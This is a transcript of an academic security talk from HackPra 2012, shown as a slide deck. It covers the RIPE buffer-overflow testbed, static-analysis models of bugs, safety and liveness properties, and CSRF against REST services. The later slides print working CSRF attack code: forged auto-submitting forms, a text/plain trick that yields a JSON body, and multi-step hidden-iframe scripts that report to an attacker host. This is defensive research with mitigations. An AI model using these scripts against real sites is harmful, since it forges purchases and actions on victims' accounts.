Application Security, in Six Parts (HackPra 2012)

  • 946 views
Uploaded on

My (@johnwilander) talk at HackPra 2012, Bochum, Germany. It covers things I've been doing in software and application security the last ten years. Not all of it but the good parts. Enjoy!

My (@johnwilander) talk at HackPra 2012, Bochum, Germany. It covers things I've been doing in software and application security the last ten years. Not all of it but the good parts. Enjoy!

More in: Technology , Business
  • Full Name Full Name Comment goes here.
    Are you sure you want to
    Your message goes here
    Be the first to comment
    Be the first to like this
No Downloads

Views

Total Views
946
On Slideshare
0
From Embeds
0
Number of Embeds
2

Actions

Shares
Downloads
31
Comments
0
Likes
0

Embeds 0

No embeds

Report content

Flagged as inappropriate Flag as inappropriate
Flag as inappropriate

Select your reason for flagging this presentation as inappropriate.

Cancel
    No notes for slide

Transcript

  • 1. Application Security, in Six PartsThe Developer Part of the Problem (slides 2-12) Buffer Overflows (slides 13-63) Modeling Security Bugs (slides 64-83) Safety & Liveness Properties (slides 84-96) CSRF Against RESTful Services (slides 97-130) Multi-Step, Semi-Blind CSRF (slides 131-150) @johnwilander at HackPra Feb 1 2012 Bochum, Germany
  • 2. The Developer Part of the Problem
  • 3. Statistics fromAppSec Training in Sweden ...
  • 4. Out of 108 students45 % said they writesecurity critical code
  • 5. Years
of
So3ware
Engineering
Experience
 60
 50
Number
of
Respondents
 40
 30
 20
 10
 0
 0‐2
years
 2
‐
5
years
 5
‐
10
years
 10
to
15
years
 15
‐
35
years

  • 6. Programming
languages
you
know
80%
70%
60%
50%
40%
30%
20%
10%
 0%
 Java
 C#
 C/C++
 (Visual)
Basic
JavaScript
 Perl
 PHP
 Python
 Ruby
 Other
…

  • 7. Security
areas
you
have
been
working
in
80%
70%
60%
50%
40%
30%
20%
10%
 0%
 Encryp2on
and
 Access
Control
 AAack
 Security
Tes2ng
 Code
Audit
and
 Enforcement
 Opera2onal
 Digital
 Preven2on
and
 Analysis
 Policies
for
 Security
Policies
 Signatures
 Detec2on
 Systems

  • 8. Previous
Security
Traning
80%
70%
60%
50%
40%
30%
20%
10%
 0%
 No
previous
security
 Cer<fica<on
(CISSP,
 Training
at
college
or
 Professional
training
 Training
on
a
specific
 training
 CISM,
ISSMP,
SSCP
…)
 university
 security
product

  • 9. Priori%za%on
of
System
Features
and
Proper%es
100%
 90%
 80%
 70%
 60%
 50%
 40%
 30%
 20%
 10%
 0%
 Features
specified
 Availability
and
 Usability
 Performance
 Maintainability
 Security
and
Privacy
 Features
not
 Up@me
 specified
but
likely
 to
be
needed

  • 10. Frontend developer atSvenska HandelsbankenResearcher in application securityCo-leader OWASP Sweden@johnwilander johnwilander.com (music) johnwilander.se (papers etc) Priori%za%on
of
System
Features
and
Proper%es
100%
 Push 90%
 80%
 70%
 60%
 50%
 40%
 30%
 20%
 10%
 0%
 Features
specified
 Availability
and
 Usability
 Performance
 Maintainability
 Security
and
Privacy
 Features
not
 Up@me
 specified
but
likely
 to
be
needed

  • 11. Priori%za%on
of
System
Features
and
Proper%es
 Priorities100%
 Push 90%
 80%
 70%
 60%
 50%
 40%
 30%
 20%
 10%
 0%
 Features
specified
 Availability
and
 Usability
 Performance
 Maintainability
 Security
and
Privacy
 Features
not
 Up@me
 specified
but
likely
 to
be
needed

  • 12. Priori%za%on
of
System
Features
and
Proper%es
 Priorities100%
 90%
 80%
 70%
 60%
 50%
 40%
 30%
 20%
 10%
 0%
 Features
specified
 Availability
and
 Usability
 Performance
 Maintainability
 Security
and
Privacy
 Features
not
 Up@me
 specified
but
likely
 to
be
needed

  • 13. RIPE:Runtime IntrusionPrevention Evaluator Published in the Proceedings of the 27th Annual Computer Security Applications Conference 2011 Joint work with Nick Nikiforakis & Yves Younan http://johnwilander.se/research_publications/ paper_acsac2011_wilander_nikiforakis_younan_kamkar_joosen.pdf
  • 14. RIPE is ...... a deliberately vulnerable C program... that attacks itself,... to allow evaluation of countermeasures.
  • 15. RIPE contributions:850 working buffer overflow attack formsEvaluation of 8 countermeasures7% to 89% of attack forms prohibited
  • 16. RIPE download (MIT license):https://github.com/johnwilander/RIPE
  • 17. A Quick Look atHow RIPE Works
  • 18. RIPE backend Backend Performs (C) one attack per execution Can be run stand-alone, command-line
  • 19. RIPE backend./ripe_attack_generator Backend Performs (C)-t direct -i simplenop -c one attack ret per execution-l stack -f strcpy Can be run stand-alone, command-line
  • 20. RIPE frontendFrontend Drives Backend(Python) (C)Report
  • 21. RIPE frontendpython ripe_tester.py Frontend Drives Backend (Python) (C){direct|indirect|both}number of times to repeat tests Report
  • 22. RIPE frontend Frontend Drives Backend (Python)python ripe_tester.py(C) both 5 Report
  • 23. Which Attack Forms are Possible?
  • 24. NDSS ’03 Testbed Target 20 attack forms Technique n at io L oc
  • 25. NDSS ’03 Testbed Target Att 850 attack forms ack cod e Technique n at io oc Fu L nc tio n
  • 26. ACSAC ’11 Testbed • RET • Old base ptr Target • Func ptr Att • Longjmp buffer ack • Struct with buffer & func ptr cod e Technique n at io oc Fu L nc tio n
  • 27. ACSAC ’11 Testbed Target Att ack cod e Technique • Direct n at io • Indirect oc Fu L nc tio n
  • 28. ACSAC ’11 Testbed Target Att ack cod e Technique n at io •memcpy oc Fu L nc •str(n)cpy tio •s(n)printf n •str(n)cat •{s|f}scanf • loop equiv of memcpy
  • 29. ACSAC ’11 Testbed Target Att ack cod e Technique n at io oc Fu L nc• Stack (local var & param) tio n• Heap• BSS• Data
  • 30. ACSAC ’11 Testbed• Shellcode Target• Shellcode + NOP• Shellcode + Polym. NOP• Create file Att ack• Return-into-libc cod• ROP e Technique n at io oc Fu L nc tio n
  • 31. Examples ofAttack Forms
  • 32. Direct Overflow with Injected Code Vulnerable Other variables Target code buffer pointer Optional Attack code Padded Address N NOP sled, (shell code bytes back to u simple or or NOP sled or l polymorph create file) attack code l ./ripe_attack_generator -t direct -i simplenop -c ret -l stack -f strcpy
  • 33. Overflow Within Struct Struct Vulnerable Other Function buffer variables pointer Optional Attack code Address NOP sled, (shell code back to simple or or NOP sled or polymorph create file) attack code./ripe_attack_generator -t direct -i nonop-c structfuncptrstack -l stack -f strcpy
  • 34. Indirect Overflow Vulnerable Other variables General buffer pointer Optional Attack code Padded Address N NOP sled, (shell code bytes back to u simple or or NOP sled or l polymorph create file) attack code l Target code pointer./ripe_attack_generator -t indirect -i nonop -c ret-l stack -f strcpy
  • 35. Injected Stackframe Vulnerable Other variables Old buffer basepointer Optional Attack code Fake Address N NOP sled, (shell code stack to fake u simple or or frame stack frame l polymorph create file) l./ripe_attack_generator -t indirect -i polynop-c baseptr -l heap -f fscanf
  • 36. All in all, 850 working attack forms
  • 37. Demo of RIPE onUbuntu 6.06 and 9.10
  • 38. Countermeasures Evaluated • ProPolice (canary-based, variable reorder) • CRED (boundary checking, referent object) • StackShield, Libverify (copy & check) • Libsafe, LibsafePlus, LibsafePlus+TIED (library wrappers) • PAE & XD (non-executable memory)
  • 39. ProPolice Old Local Local Guard Base RETvariables buffers Ptr sorted
  • 40. CRED Base Extent Referent objects Base Extent Base ExtentBase Extent Base Extent ptr
  • 41. CRED Base Extent Base Extent Base Extent Base Extent Base ExtentAny pointer dereferencing ptrhas to stay within bounds
  • 42. CRED Base Extent Base Extent Base ExtentBase Extent Base Extent Out-of-bounds object Obj Value Pointers allowed to be out of bounds during ptr artihmetics
  • 43. Stack ShieldGlobal RET stack Stack frame A RET A RET A
  • 44. Stack Shield Stack frame BGlobal RET stack RET B RET B Stack frame A RET A
  • 45. Stack Shield Stack frame B RET BGlobal RET stack RET B Stack frame A RET A
  • 46. Stack Shield Stack Heap BSS Data segmentBoundary Function pointers Text segment have to point here
  • 47. Libverify Stack Heap BSS Data segment Text segment
  • 48. Libverify Stack Heap BSS Data segment All functions Text segment
  • 49. Libverify Stack Heap Copy all BSS functions to the Data segment heap All functions Text segment
  • 50. Libverify Stack Instrument all functions to copyRET B their RET to aRET A All functions canary stack and Heap check it before return BSS Data segment Text segment
  • 51. Libsafe Library functions may never overwrite a buffer pass the old base pointerBoundary Old base pointer RET Parameters
  • 52. LibsafePlus & TIED BinarySource Compile code with -g Debug info
  • 53. LibsafePlus & TIED Binary Libsafe-PlusDebug info TIED
  • 54. LibsafePlus & TIED Binary Libsafe-Plus Offset from frame pointer and size forDebug info TIED all buffers
  • 55. LibsafePlus & TIED Instruments all functions to check bounds Binary Libsafe-Plus Offset from frame pointer and size forDebug info TIED all buffers
  • 56. Non-Executable Memory (XD + PAE) Stack W W⊻X Heap Wwritable XOR executable BSS W Data segment W Text segment X
  • 57. Empirical Evaluation Results
  • 58. Results Effective Successful Partly Failed attacks successful attacks -nessUbuntu 6.06 (no protection) 0% 99% 1% 0%Libsafe 7% 91% 2% 7%LibsafePlus 19% 79% 2% 19%StackShield 36% 63% 1% 36%ProPolice 40% 59% 1% 40%LibsafePlus + TIED 77% 20% 3% 77%CRED 79% 20% 0.5% 79%Ubuntu 9.10 (W⊻X + ProP) 89% 9% 1% 89%
  • 59. Results, top 4 Effective Successful Partly Failed attacks successful attacks -nessProPolice 40% 59% 1% 40%LibsafePlus + TIED 77% 20% 3% 77%CRED 79% 20% 0.5% 79%Ubuntu 9.10 (W⊻X + ProPolice) 89% 9% 1% 89%
  • 60. Results, top 4 Effective Successful Partly Failed attacks successful attacks -nessProPolice 40% 59% 1% 40%LibsafePlus + TIED 77% 20% 3% 77% Totally focused on protecting the stack.CRED heap/BSS/data-based attacks against longjmp buffers as stack79% Indirect, 79% 20% 0.5% variables or function parameters not fully stable and thus categorized asUbuntusuccessful. partly 9.10 (W⊻X + CRED) 89% 9% 1% 89%
  • 61. Results, top 4 Effective Successful Partly Failed attacks successful attacks -nessProPolice 40% 59% 1% 40%LibsafePlus + TIED 77% 20% 3% 77%CRED wrap memcpy or loop equivalent of memcpy. Doen’t 79% 20% 0.5% 79% Spurious successful attacks CRED) 89% functions explains the fairly abusing wrappedUbuntu 9.10 (W⊻X + high ”Partly successful” figure. 9% 1% 89%
  • 62. Results, top 4 Fails to protect against direct and indirect, stack/BSS/data-based overflows toward function pointers, longjmp buffers, and structs for Effective Successful Partly sprintf(), snprintf(), sscanf(), and fscanf(). Failed attacks successful attacks Attacks against structs also successful -ness for memcpy() and loop equivalentProPolice only attacks successful from buffers on the heap. and are the 40% 59% 1% 40%LibsafePlus + TIED 77% 20% 3% 77%CRED 79% 20% 0.5% 79%Ubuntu 9.10 (W⊻X + CRED) 89% 9% 1% 89%
  • 63. Results, top 4 All code injection countermeasured. Apart from that: All struct attack forms were successful. Effective heap and the All direct attacks against function pointers on theSuccessful Partly data Failed attacks successful attacks segment were successful. -ness Indirect attacks against the old base pointer work in general on theProPolice and data segment for memcpy(), strcpy(), strncpy(), sprintf(), heap, BSS, 40% 59% 1% 40%LibsafePlusstrcat(), strncat(), sscanf(), fscanf(), and loop equivalent. 77% snprintf(), + TIED 77% 20% 3%CRED 79% 20% 0.5% 79%Ubuntu 9.10 (W⊻X + CRED) 89% 9% 1% 89%
  • 64. Modeling, Visualizing,and Pattern Matching Security Bugs Published in E-Proceedings of Workshop onCode Based Software Security Assessments 2005 Joint work with Pia Fåk http://johnwilander.se/research_publications/paper_cobassa2005_wilander_fak.pdf
  • 65. Textual Models// Start state. Matches any copy_from_user// call and puts parameter x in tainted state.start: { copy_from_user(x, y, len) } ==> x.tainted;// Catch operations illegal on unsafe values.x.tainted, x.need_ub, x.need_lb: { v[x] } ==>{ err(”Dangerous index!”); }...;
  • 66. Textual FeedbackJohns_program.c:7:3: Possible out-of-bounds store:  strcpy(buffer, input_string)  Unable to resolve constraint: requires maxRead(input_string @ test.c:7:18) <= 7 needed to satisfy precondition: requires maxSet(buffer @ test.c:7:10) >= maxRead(input_string @ test.c:7:18)  derived from strcpy precondition: requires maxSet(<parameter 1>) >= maxRead(<parameter 2>)
  • 67. Data Dependence int func(int user_input){user_input int var; ... var = user_input * 5; ... } var = ...
  • 68. Control Dependence int func(int user_input){if(var <= 0) int var; ... if(var <= 0) var = 0; ... } var = 0;
  • 69. Input Validation Model of good programming practice External int func(int user_input){ input int var; ... var = user_input * 5; ... def var if(var >= 0 && var < MAX) for(i = 0; i < var; i++) array[i] = 0; ...validate var } use var
  • 70. Input Validation Model of good programming practice External int func(int user_input){ input int var; ... var = user_input * 5; ... def var if(var >= 0 && var < MAX) for(i = 0; i < var; i++) array[i] = 0; ...validate var } use var
  • 71. Input Validation Model of good programming practice External int func(int user_input){ input int var; ... var = user_input * 5; ... def var if(var >= 0 && var < MAX) for(i = 0; i < var; i++) array[i] = 0; ...validate var } use var
  • 72. Input Validation Model of good programming practice External int func(int user_input){ input int var; ... var = user_input * 5; ... def var if(var >= 0 && var < MAX) for(i = 0; i < var; i++) array[i] = 0; ...validate var } use var
  • 73. Input Validation Model of good programming practice External int func(int user_input){ input int var; ... var = user_input * 5; ... def var if(var >= 0 && var < MAX) for(i = 0; i < var; i++) array[i] = 0; ...validate var } use var
  • 74. Normal Use of free() Model of good programming practice call free()A call to free()binds the buf reference char *buf=(char *)malloc(MAX); ...to the input parameter free(buf);ptr_in. ptr_in=buf
  • 75. Double free() Model of bad programming practicecall free() 1 call free() 2 char *buf=(char *)malloc(MAX); ... free(buf); ... free(buf);ptr_in_1=buf ptr_in_2=buf In the case of double free() there’s a data dependence from one call to free() and the subsequent input parameter ptr_in.
  • 76. Detect Correct Use offree() Not Enough entry main() call malloc() call free() ptr_in=buf
  • 77. We Have To Detect Incorrect Use of free() entry main() call malloc() call free() 1 call free() 2The graph with incorrect use offree() contains a subgraph with ptr_in_1=buf ptr_in_2=bufcorrect programming practice.
  • 78. Static Analysis for Security Must Look For Both Good and Bad Programming Practice
  • 79. Can We Use Graphs for Developer Feedback?• More inaccuracy lower severity• Exploit dual of models
  • 80. Severityfrom high to low
  • 81. Possible execution pathNo validation without validation External External input input def var def var validate var use var use var
  • 82. Mandatory validation but Mandatory validation but narrowing type-cast on narrowing type-cast on validation path usage path External External input input Narrowing def var def var type-cast Narrowing validate var validate var type-cast use var use var
  • 83. On a Higher Level Incoming XML Demarshalling DOM parsing validate object SAX parsing use object
  • 84. Safety and LivenessProperties of Code Just to put things in perspective
  • 85. I Asked Myself …• Can execution monitoring solve the software security problem?• Can we analyze and test for security compile-time?
  • 86. Blacklist vs Whitelist
  • 87. Blacklist vs Whitelist Build model Build model of bad stuff of good stuff
  • 88. Blacklist vs Whitelist Build model Build model of bad stuff of good stuff Pattern match Detect executioninside the model outside the model and raise alarm and raise alarm
  • 89. Blacklist vs Whitelist Blacklist Whitelist == == model of model of abnormal normal behavior behavior
  • 90. Blacklist vs Whitelist Blacklist Whitelist == == model of model of abnormal normal behavior behavior We always detect bad things
  • 91. So, is software security all about avoiding/detecting bad things?
  • 92. So, is software security allNot formally about avoiding/detecting bad things?
  • 93. Safety Liveness• No ”bad” thing must • A ”good” thing must happen during (eventually) happen execution. during execution Bad state is discrete. • Not enforceable via• Enforceable via execution monitoring – execution monitoring – there’s no way of prohibit a state detecting that the good transition from a safe thing won’t happen state to an unsafe state eventually
  • 94. Safety Liveness • Access Control • Starvation Freedom Good thing == • Mutual Exclusion making progress Bad thing == Two threads executing • Availability in the critical section (guaranteed service) Good thing == • Deadlock Freedom Every request serviced Bad thing == Deadlock :) • Termination Lamport 1977 http://www.cis.umassd.edu/~hxu/courses/cis481/references/Lamport-1977.pdfAlpern, Schneider 1984 http://ecommons.library.cornell.edu/bitstream/1813/6495/1/85-650.pdf
  • 95. Blacklist vs Whitelist Safety Properties Liveness PropertiesWe always detect violations of safety properties
  • 96. This means we have to stick tosafety propertiesif we want to enforce them
  • 97. Final part. CSRF against RESTful servicesand in several, semi-blind steps
  • 98. Cross-Site Request Forgery Request For gery Cro ss-S ite
  • 99. Cross-Site Request Forgery Request Forgery Cros s-Sit e Ph ish ing
  • 100. What’s on your mind? What’s on your mind? POST POST
  • 101. What’s on your mind? What’s on your mind?I love OWASP! POST POST
  • 102. What’s on your mind? What’s on your mind?I love OWASP! POST POSTJohn: I love OWASP!
  • 103. What’s on your mind? What’s on your mind? POST POST
  • 104. What’s on your mind? What’s on your mind? POST I hate OWASP! POST
  • 105. What’s on your mind? What’s on your mind? POST I hate OWASP! POST
  • 106. What’s on your mind? What’s on your mind? POST I hate OWASP! POSTJohn: I hate OWASP!
  • 107. What’s on your mind? What’s on your mind? POST <form id="target" method="POST" action="https://1-liner.org/form">John: I hate OWASP! <input type="text" value="I hate OWASP!" name="oneLiner"/> <input type="submit" value="POST"/> </form> <script type="text/javascript"> $(document).ready(function() { $(#form).submit(); }); </script>
  • 108. <form id="target" method="POST" action="https://1-liner.org/form"> <input type="text" value="I hate OWASP!" name="oneLiner"/> <input type="submit"What’s on your mind? What’s on your mind? value="POST"/> POST </form>John: I hate OWASP! <script> $(document).ready(function() { $(#target).submit(); }); </script>
  • 109. There used to be aprotection in web 1.5
  • 110. Forced Browsing wizard-styleShipment info ✉ Payment info $ Next Buy!
  • 111. Forced Browsing wizard-styleShipment info ✉ Payment info $ Token Next Buy!
  • 112. Forced Browsing wizard-styleToken 1 Token 2 Token 3
  • 113. Forced Browsing wizard-styleToken 1 Token 2 Token 3State built up i steps, server roundtrip in-between
  • 114. Forced Browsing wizard-styleToken 1 Token 2 Token 3 fo rge n’t to uld est Co qu re t step las out a w tith oken va lid
  • 115. But in RIAs ...
  • 116. RIA & client-side state { ”purchase”: {} }
  • 117. RIA & client-side state { ”purchase”: { ”items”: [{}] } }
  • 118. RIA & client-side state { ”purchase”: { ”items”: [{},{}] } }
  • 119. RIA & client-side state { ”purchase”: { ”items”: [{},{}], ”shipment”: {} } }
  • 120. RIA & client-side state { ”purchase”: { ”items”: [{},{}], ”shipment”: {}, ”payment”: {} } }
  • 121. RIA & client-side state { ”purchase”: { ”items”: [{},{}], ”shipment”: {}, ”payment”: {} } }
  • 122. Can an attacker forgesuch a JSON structure?
  • 123. CSRF possible? { ”purchase”: { ”items”: [{},{}], ”shipment”: {}, ”payment”: {} } }
  • 124. <form id="target" method="POST" action="https://vulnerable.1-liner.org: 8444/ws/oneliners"> <input type="text" name=”” value="" /> <input type="submit" value="Go" /></form>
  • 125. <form id="target" method="POST" action="https://vulnerable.1-liner.org: 8444/ws/oneliners" style="visibility:hidden"> <input type="text" name=”” value="" /> <input type="submit" value="Go" /></form>
  • 126. <form id="target" method="POST" action="https://vulnerable.1-liner.org: 8444/ws/oneliners" style="visibility:hidden" enctype="text/plain"> <input type="text" name=”” value="" /> <input type="submit" value="Go" /></form>
  • 127. <form id="target" method="POST" action="https://vulnerable.1-liner.org: 8444/ws/oneliners" style="visibility:hidden" enctype="text/plain"> Forms produce a request body that looks like this: <input type="text" name=”” theName=theValue value="" /> ... and that’s not valid JSON. <input type="submit" value="Go" /></form>
  • 128. <form id="target" method="POST" action="https://vulnerable.1-liner.org: 8444/ws/oneliners" style="visibility:hidden" enctype="text/plain"> <input type="text" name={"id": 0, "nickName": "John", "oneLiner": "I hate OWASP!", "timestamp": "20111006"}// value="dummy" /> <input type="submit" value="Go" /></form>
  • 129. <form id="target" method="POST" action="https://vulnerable.1-liner.org: 8444/ws/oneliners" style="visibility:hidden" body that looks Produces a request like this: enctype="text/plain"> <input type="text" 0, "nickName": {"id": name={"id": "John","oneLiner": "I 0, "nickName": "John", hate OWASP!","timestamp": "oneLiner": "I hate OWASP!", "20111006"}//=dummy "timestamp": "20111006"}// value="dummy" /> ... and that is acceptable JSON! <input type="submit" value="Go" /></form>
  • 130. Demo POST CSRFagainst REST service
  • 131. Important in your REST API • Restrict HTTP method, e.g. POST Easier to do CSRF with GET • Restrict to AJAX if applicable X-Requested-With:XMLHttpRequest Cross-domain AJAX prohibited by default • Restrict media type(s), e.g. application/json HTML forms only allow URL encoded, multi-part and text/plain
  • 132. Multi-Step,Semi-Blind CSRF
  • 133. What about ”no tokens but several steps”? Step 1 Step 2 Step 3
  • 134. Step 1 Step 2 Step 3State built up i steps, server roundtrip in-between
  • 135. Step 1 Step 2 Step 3 rg ed Fo t to qu es is r e tep t s id las al inv
  • 136. Can we forge timed GETs and POSTsin a deterministic, non-blind way? Step 1 Step 2 Step 3 1 2 3 4
  • 137. csrfMultiDriver.html invisible iframe csrfMulti0.html
  • 138. csrfMultiDriver.html invisible invisible iframe iframe target0.html csrfMulti1.html Wait
  • 139. csrfMultiDriver.html invisible invisible invisible iframe iframe iframe target0.html target1.html csrfMulti2.html Wait
  • 140. csrfMultiDriver.html invisible invisible invisible invisible iframe iframe iframe iframe target0.html target1.html target2.html csrfMulti3.html Wait
  • 141. csrfMultiDriver.html invisible invisible invisible invisible iframe iframe iframe iframe target0.html target1.html target2.html target3.html
  • 142. <!DOCTYPE html><html><head> <script> var IFRAME_ID = "0", GET_SRC = "http://www.vulnerable.com/some.html?param=1"; </script> <script src="../iframeGetter.js"></script></head><body onload="IFRAME_GETTER.onLoad()">Extra easy to CSRF since its done with HTTP GET.</body></html> csrfMulti0.html
  • 143. var IFRAME_GETTER = {};IFRAME_GETTER.haveGotten = false;IFRAME_GETTER.reportAndGet = function() { var imgElement; if(parent != undefined) { parent.postMessage(IFRAME_ID, "https://attackr.se:8444"); } if(!IFRAME_GETTER.haveGotten) { imgElement = document.createElement("img"); imgElement.setAttribute("src", GET_SRC); imgElement.setAttribute("height", "0"); imgElement.setAttribute("width", "0"); imgElement.setAttribute("onerror", "javascript:clearInterval(IFRAME_GETTER.intervalId)"); document.body.appendChild(imgElement); IFRAME_GETTER.haveGotten = true; }};IFRAME_GETTER.onLoad = function() { IFRAME_GETTER.intervalId = setInterval(IFRAME_GETTER.reportAndGet, 1000);}; iframeGetter.js
  • 144. var IFRAME_GETTER = {};IFRAME_GETTER.haveGotten = false;IFRAME_GETTER.reportAndGet = function() { var imgElement; if(parent != undefined) { parent.postMessage(IFRAME_ID, "https://attackr.se:8444"); } if(!IFRAME_GETTER.haveGotten) { imgElement wait for a GET CSRF is over The = document.createElement("img"); imgElement.setAttribute("src", GET_SRC); when onerror fires imgElement.setAttribute("height", "0"); imgElement.setAttribute("width", "0"); imgElement.setAttribute("onerror", "javascript:clearInterval(IFRAME_GETTER.intervalId)"); document.body.appendChild(imgElement); IFRAME_GETTER.haveGotten = true; }};IFRAME_GETTER.onLoad = function() { IFRAME_GETTER.intervalId = setInterval(IFRAME_GETTER.reportAndGet, 1000);}; iframeGetter.js
  • 145. <!DOCTYPE html><html><head> <script> var IFRAME_ID = "1"; </script> <script src="../iframePoster.js"></script></head><body onload="IFRAME_POSTER.onLoad()"><form id="target" method="POST" action="https://www.vulnerable.com/addBasket.html" style="visibility:hidden"> <input type="text" name="goodsId" value="95a0b76bde6b1c76e05e28595fdf5813" /> <input type="text" name="numberOfItems" value="1" /> <input type="text" name="country" value="SWE" /> <input type="text" name="proceed" value="To checkout" /></form></body></html> csrfMulti1.html
  • 146. var IFRAME_POSTER = {};IFRAME_POSTER.havePosted = false;IFRAME_POSTER.reportAndPost = function() { if(parent != undefined) { parent.postMessage(IFRAME_ID, "https://attackr.se:8444"); } if(!IFRAME_POSTER.havePosted) { document.forms[target].submit(); IFRAME_POSTER.havePosted = true; }};IFRAME_POSTER.onLoad = function() { setInterval(IFRAME_POSTER.reportAndPost, 1000);}; iframePoster.js
  • 147. var IFRAME_POSTER = {};IFRAME_POSTER.havePosted = false;IFRAME_POSTER.reportAndPost = function() { if(parent != undefined) { parent.postMessage(IFRAME_ID, "https://attackr.se:8444"); } if(!IFRAME_POSTER.havePosted) { document.forms[target].submit(); is over The wait for a POST CSRF IFRAME_POSTER.havePosted = true; } when parent stops getting messages};IFRAME_POSTER.onLoad = function() { setInterval(IFRAME_POSTER.reportAndPost, 1000);}; iframePoster.js
  • 148. var CSRF = function(){ var hideIFrames = true, frames = [ {id: 0, hasPosted: "no", hasOpenedIFrame: false, src: csrfMulti0.html} ,{id: 1, hasPosted: "no", hasOpenedIFrame: false, src: csrfMulti1.html} ], appendIFrame = function(frame) { var domNode = <iframe src=" + frame.src + " height="600" width="400" + (hideIFrames ? style="visibility: hidden" : ) + ></iframe>; $("body").append(domNode); };… csrfMultiDriver.html
  • 149. return { checkIFrames : function() { var frame; for (var i = 0; i < frames.length; i++) { frame = frames[i]; if (!frame.hasOpenedIFrame) { appendIFrame(frame); frame.hasOpenedIFrame = true; break; // Only open one iframe at the time } else if(frame.hasPosted == "no") { frame.hasPosted = "maybe"; break; // iframe not done posting, wait } else if(frame.hasPosted == "maybe") { frame.hasPosted = "yes"; break; // iframe not done posting, wait } else if (frame.hasPosted == "yes") { continue; // Time to allow for the next iframe to open } } }, receiveMessage : function(event) { if (event.origin == "https://attackr.se:8444") { CSRF.frames[parseInt(event.data)].hasPosted = "no"; // Still on CSRF page so POST not done yet } } csrfMultiDriver.html
  • 150. Demo Multi-Step, Semi-Blind CSRFagainst 2 high-profile onlineshops in the EU where I’ve spent €1000s myself No video recording, please ;)
  • 151. Thanks! Let’s all meet atOWASP AppSec Research 2012http://www.appsecresearch.org/ @johnwilander